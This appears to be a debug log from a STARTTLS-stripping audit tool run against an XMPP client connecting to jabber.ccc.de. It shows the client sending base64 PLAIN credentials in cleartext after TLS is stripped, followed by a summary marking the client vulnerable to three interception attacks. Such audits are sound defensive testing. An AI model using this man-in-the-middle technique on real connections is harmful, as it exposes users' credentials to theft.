    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] None
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='6938642107398534259' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><register xmlns='http://jabber.org/features/iq-register'/><mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism><mechanism>X-OAUTH2</mechanism><mechanism>SCRAM-SHA-1</mechanism></mechanisms></stream:features>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==</auth>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>"
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
    - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '/stream:stream>'
    - WARNING  - <Session 0x7f083196a8d0> terminated.

XMPP Audit results

    - WARNING  - Ctrl C - Stopping server
    - INFO     -  -- audit results --
    - INFO     - [*] client: 192.168.139.1
    - INFO     -     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
    - INFO     -     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
    - INFO     -     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>